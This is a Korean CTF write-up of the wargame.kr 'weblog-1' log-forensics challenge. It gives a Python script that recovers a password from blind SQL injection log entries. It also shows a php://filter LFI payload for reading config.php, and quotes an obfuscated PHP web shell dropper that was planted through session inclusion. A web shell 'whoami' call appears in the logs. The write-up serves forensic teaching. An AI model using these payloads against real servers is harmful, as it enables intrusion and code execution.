[wargame.kr] weblog-1 문제
문제
LEVEL 0
- log 의 기록을 보고 admin 계정을 비밀번호를 찾아주면 된다.
- 로그 분석 결과 500 에러(서버 에러)가 발생할 때 나오는 비교 정수 값을 char 로 변환해주면 된다.
f = open('./file/access.log')
keyword = 'HTTP/1.1" 500'
keyword2 = '))='
arr = []
while True:
line = f.readline()
if not line:
print('end')
break
if keyword not in line:
continue
a = line.find(keyword2)
if a == -1:
continue
line = line[a+len(keyword2):]
l = line.find(',')
arr.append(chr(int(line[:l])))
# print(line[:l])
print(''.join(arr))
f.close()
LEVEL 1
- config.php 파일을 추출해야 한다.
- include 를 이용하여 파일을 추출하는 것을 확인할 수 있다.
/admin/?page=php://filter/convert.base64-encode/resource=../config.php
LEVEL 2
-
LFI(Local File Include) 취약점을 이용하여 서버의 php 코드를 실행하는 것을 확인할 수 있다.
-
악성 php 코드 저장
172.17.0.1 - - [02/Jun/2020:09:55:16 +0000] "GET /admin/?page=memo.php&memo=%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E HTTP/1.1" 200 1098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
- 코드를 살펴본 결과 memo.php 에서 memo 파라미터로 들어오는 값을 session 에 저장하는 것을 확인할 수 있다.
- session에 저장된 값을 불러오기 위해서 include 기능을 이용한 것을 확인할 수 있다.
- 악성 코드가 서버에서 실행된다!
172.17.0.1 - - [02/Jun/2020:09:55:39 +0000] "GET /admin/?page=/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 HTTP/1.1" 200 735 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
LEVEL 3
- 웹 쉘 코드가 저장된 위치를 알아내야 한다.
- level2 에서 실행시킨 코드이다.
<?php
function m($l,$T=0){
$K=date('Y-m-d');
$_=strlen($l);
$__=strlen($K);
for($i=0;$i<$_;$i++){
for($j=0;$j<$__; $j++){
if($T){
$l[$i]=$K[$j]^$l[$i];
}else{
$l[$i]=$l[$i]^$K[$j];
}
}
}
return $l;
}
m('bmha[tqp[gkjpajpw')(m('+rev+sss+lpih+qthke`w+miecaw*tlt'),m('8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?'));
?>
- 난독화 되어있는 것을 확인할 수 있다.
date('Y-m-d')
를 02/Jun/2020 즉2020-06-02
로 바꾼 다음 php 로 실행시켜 주면 어떻게 웹 쉘 코드를 업로드 하였는지 출력되는 것을 확인할 수 있다.
LEVEL 4
- 처음으로 실행된 명령어는 로그를 보면 바로 알 수 있다.
172.17.0.1 - - [02/Jun/2020:09:56:32 +0000] "GET /uploads/images.php?c=whoami HTTP/1.1" 404 490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
댓글남기기